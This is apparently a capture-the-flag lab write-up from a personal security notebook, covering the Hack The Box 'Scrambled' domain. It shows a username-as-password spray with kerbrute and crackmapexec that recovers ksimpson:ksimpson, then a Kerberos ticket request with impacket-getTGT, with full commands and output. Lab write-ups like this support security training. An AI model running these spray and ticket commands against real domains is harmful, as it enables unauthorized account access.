InfoSec LAB

Scrambled_Password_Reset

Created: 3 min read

Password Reset

During the web enumeration, there is a mention of a temporarily non-operational self-service password reset system, which provides insights into potential vulnerabilities. The outlined alternative process for password reset, specifically resetting the password to match the user’s username, indicates a noteworthy security concern. This information suggests a historical reliance on a less secure password matching practice.

A thorough examination of this vulnerability prompts the need for a comprehensive evaluation. The non-operational status of the self-service system and the organization’s approach to password reset underscore potential weaknesses in the authentication mechanism. The policy that passwords will be set to match usernames, even temporarily, raises the risk of easily exploitable security gaps.

Password Spray

From an adversarial standpoint, a strategic approach involves leveraging this knowledge to conduct a targeted attack. By performing a password spray attack, where a list of collected usernames is used as potential passwords, the aim is to exploit the historical pattern of setting passwords equal to usernames. This method increases the probability of success in gaining unauthorized access. This assessment emphasizes the critical need for prompt attention and remediation to enhance the organization’s overall security posture.

Additionally, only Kerberos authentication is allowed due to the network-level restriction set to the target domain

kerberute

┌──(kali㉿kali)-[~/archive/htb/labs/scrambled]
└─$ kerbrute passwordspray --dc dc1.scrm.local -d SCRM.LOCAL ./users.txt --user-as-pass
 
    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        
 
version: v1.0.3 (9dad6e1) - 11/17/23 - Ronnie Flathers @ropnop
 
2023/11/17 16:56:19 >  Using KDC(s):
2023/11/17 16:56:19 >  	dc1.scrm.local:88
 
2023/11/17 16:56:20 >  [+] VALID LOGIN:	 ksimpson@SCRM.LOCAL:ksimpson
2023/11/17 16:56:20 >  Done! Tested 6 logins (1 successes) in 1.052 seconds

kerbrute supports using username as password with the --user-as-pass flag a single credential returned positive; ksimpson:ksimpson

crackmapexec

┌──(kali㉿kali)-[~/archive/htb/labs/scrambled]
└─$ crackmapexec smb dc1.scrm.local --kdcHost dc1.scrm.local -d scrm.local --kerberos -u users.txt -p users.txt --continue-on-success
SMB         dc1.scrm.local  445    dc1.scrm.local   [*]  x64 (name:dc1.scrm.local) (domain:scrm.local) (signing:True) (SMBv1:False)
 
[...REDACTED...]
 
SMB         dc1.scrm.local  445    dc1.scrm.local   [+] scrm.local\ksimpson:ksimpson 
 
[...REDACTED...]

Same result can be achived using crackmapexec This is evident that the ksimpson user, at one point, has requested a password reset to the IT department and the IT department, as mentioned in the web server, has reset the user’s password to the username; ksimpson

Validation

Given the absence of NTLM authentication in the target domain, opting for engagement through Kerberos authentication with a Ticket Granting Ticket (TGT) would be a more favorable decision.

┌──(kali㉿kali)-[~/archive/htb/labs/scrambled]
└─$ impacket-getTGT scrm.local/ksimpson@dc1.scrm.local -k -dc-ip $IP
Impacket v0.11.0 - Copyright 2023 Fortra
 
password: ksimpson
[*] Saving ticket in ksimpson@dc1.scrm.local.ccache

Validated The -k flag was required to authenticate to the target KDC instead of the default NTLM

Interactive Graph View

Backlinks